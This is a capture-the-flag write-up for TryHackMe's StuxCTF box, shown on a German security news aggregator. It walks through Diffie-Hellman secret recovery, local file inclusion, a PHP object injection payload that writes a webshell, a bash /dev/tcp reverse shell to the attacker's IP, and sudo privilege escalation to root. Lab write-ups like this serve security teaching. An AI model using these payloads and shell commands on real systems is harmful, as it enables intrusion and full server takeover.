Zum Hauptinhalt springen
tsecurity.de LIVE
Echtzeit-Radar & Feeds
Alle RSS Feeds
👥 Community & Social
IT Security Toolsconpot v1.0.0(21.09.2026 um 07:32 Uhr)
IT Security ToolsZircolite v4.0.0(21.09.2026 um 08:27 Uhr)
IT Security NachrichtenWaterPlum Hackers Steal $10.7M in Crypto From IT Workers(21.09.2026 um 08:52 Uhr)
Sicherheitslücken (CVE)Die größte Schwachstelle sitzt am Schreibtisch - kommunal.at(21.09.2026 um 07:36 Uhr)
IT Security NachrichtenIT Security News Hourly Summary 2026-09-21 08h : 6 posts(21.09.2026 um 08:00 Uhr)
IT Security Toolsconpot v1.0.0(21.09.2026 um 07:32 Uhr)
IT Security ToolsZircolite v4.0.0(21.09.2026 um 08:27 Uhr)
IT Security NachrichtenWaterPlum Hackers Steal $10.7M in Crypto From IT Workers(21.09.2026 um 08:52 Uhr)
Sicherheitslücken (CVE)Die größte Schwachstelle sitzt am Schreibtisch - kommunal.at(21.09.2026 um 07:36 Uhr)
IT Security NachrichtenIT Security News Hourly Summary 2026-09-21 08h : 6 posts(21.09.2026 um 08:00 Uhr)
Intelligence View
⚡ tsecurity.de Intelligence

StuxCTF — TryHackMe Writeup

Reagiere als Erste:r — dein Feedback zählt!

Platform: TryHackMe

Difficulty: Easy

Category: Web, Cryptography, PHP Object Injection

Overview

StuxCTF chains together several techniques: Diffie-Hellman key exchange to find a hidden directory, Local File Inclusion (LFI) to read PHP source code, and PHP Object Injection for Remote Code Execution. No brute-forcing required — just careful enumeration and connecting the dots.

Reconnaissance

Nmap Scan

nmap -sCV -A 10.49.155.3

Results:

  • 22/tcp — OpenSSH 7.2p2
  • 80/tcp — Apache 2.4.18

Nmap also flagged a robots.txt:

curl http://10.49.155.3/robots.txt
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow: /StuxCTF/

Two clues immediately: the path /StuxCTF/ and the keyword Diffie-Hellman.

Step 1 — Finding the Hidden Directory (Diffie-Hellman)

Viewing the main page source revealed a hidden HTML comment with Diffie-Hellman parameters:

<!-- p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251; g: 7; a: 330; b: 450; g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617; -->

This is a 3-party Diffie-Hellman setup:

  • p = large prime modulus
  • g = 7 = generator
  • a = 330, b = 450 = two private keys
  • g^c = third party's public key

The shared secret is:

secret = ((g^c)^a)^b mod p

Python script:

#!/usr/bin/env python3

def main():
    p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
    g = 7
    a = 330
    b = 450
    gExpc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

    gca = pow(gExpc, a, p)
    gcab = pow(gca, b, p)

    # Only print first 128 characters
    print(f'Hidden directory: {str(gcab)[:128]}')

if __name__ == '__main__':
    main()

Output:

Hidden directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055

Step 2 — The Hidden Directory

Navigating to http://10.49.155.3/47315028.../ showed a simple page with:

  • A heading: "Follow the white rabbit.."
  • An <a href="index.php">Home</a> link
  • A hint in the source: <!-- hint: /?file= -->

Step 3 — Reading the PHP Source via LFI

The ?file= parameter hints at a Local File Inclusion vulnerability. Using it to read index.php:

http://10.49.155.3/<hidden_dir>/?file=index.php

This returned a long hex string. To decode it on Kali:

# Save the hex output to hex.txt, then:
cat hex.txt | xxd -r -p | rev | base64 -d

The encoding chain was: base64 → reverse → hex (so decoding is hex → reverse → base64).

Decoded PHP source (key parts):

class file {
    public $file = "dump.txt";
    public $data = "dump test";
    function __destruct(){
        file_put_contents($this->file, $this->data);
    }
}

$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
    echo "File no Exist!";
}

if($file_name == "index.php"){
    $content = file_get_contents($file_name);
    $tags = array("", "");
    echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}

unserialize(file_get_contents($file_name));

Two critical findings:

  1. unserialize(file_get_contents($file_name)) — fetches any URL or file we pass and deserializes it
  2. The file class __destruct() magic method writes arbitrary content to any file

This is a PHP Object Injection vulnerability.

Step 4 — Exploiting PHP Object Injection

We craft a malicious serialized file object that writes a PHP webshell when deserialized:

echo 'O:4:"file":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' > test.php

Host it on a local HTTP server:

python3 -m http.server 8000

Trigger the server to fetch and deserialize our payload:

curl 'http://10.49.155.3/<hidden_dir>/?file=http://<YOUR_IP>:8000/test.php'

Response is File no Exist! — expected, and it confirms the payload was fetched. The __destruct() runs automatically and writes shell.php to the server.

Step 5 — Reverse Shell

Start a netcat listener:

nc -lvnp 4444

Trigger the reverse shell through the webshell (URL encoding required for special characters):

curl -G "http://10.49.155.3/<hidden_dir>/shell.php" \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"'

Shell received as www-data.

Upgrade to a stable TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Step 6 — Privilege Escalation

Checking sudo permissions:

sudo -l
User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: ALL

www-data has unrestricted passwordless sudo — instant root:

sudo su

Flags

User flag (/home/grecia/user.txt):

[redacted]

Root flag (/root/root.txt):

[redacted]

Full Attack Chain

Nmap → robots.txt → /StuxCTF hint + "Diffie-Hellman"
          ↓
Page source → DH parameters in HTML comment
          ↓
Compute 3-party shared secret → first 128 digits = hidden directory
          ↓
Hidden directory → hint: /?file=
          ↓
/?file=index.php → long hex output
          ↓
Decode: hex → reverse → base64 → PHP source code
          ↓
Source reveals: unserialize(file_get_contents($_GET['file']))
          ↓
PHP Object Injection → serialize malicious `file` object
          ↓
Server fetches payload → __destruct() writes shell.php
          ↓
Reverse shell → www-data
          ↓
sudo -l → NOPASSWD: ALL → root ✓

Key Takeaways

  • Never expose DH private keys in HTML comments — a and b must stay secret
  • Never pass user input to unserialize() — always leads to object injection
  • PHP magic methods like __destruct() are dangerous with user-controlled deserialization
  • Principle of least privilegewww-data should never have NOPASSWD: ALL sudo rights

Happy hacking! 🐇 Follow the white rabbit.

Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten StuxCTF — TryHackMe Writeup

Thematisch verwandte Begriffe: StuxCTF, TryHackMe, Writeup · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-94030 | A security vulnerability has been detected in SerenityOS up to 3d83e4509…
Advisory →
TTS Reader • tsecurity.de Voice
tsecurity.de Icon
tsecurity.de App
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
🔖 Gespeicherte Artikel
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel Rechts: nächster Artikel unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...

Zurück: vorheriger Vor: nächster
↗ Original-Quelle
Social Reaktionen Deine Reaktion zählt
Einstufung & Relevanz-Poll 0 Stimmen
In sozialen Netzwerken teilen 1-Klick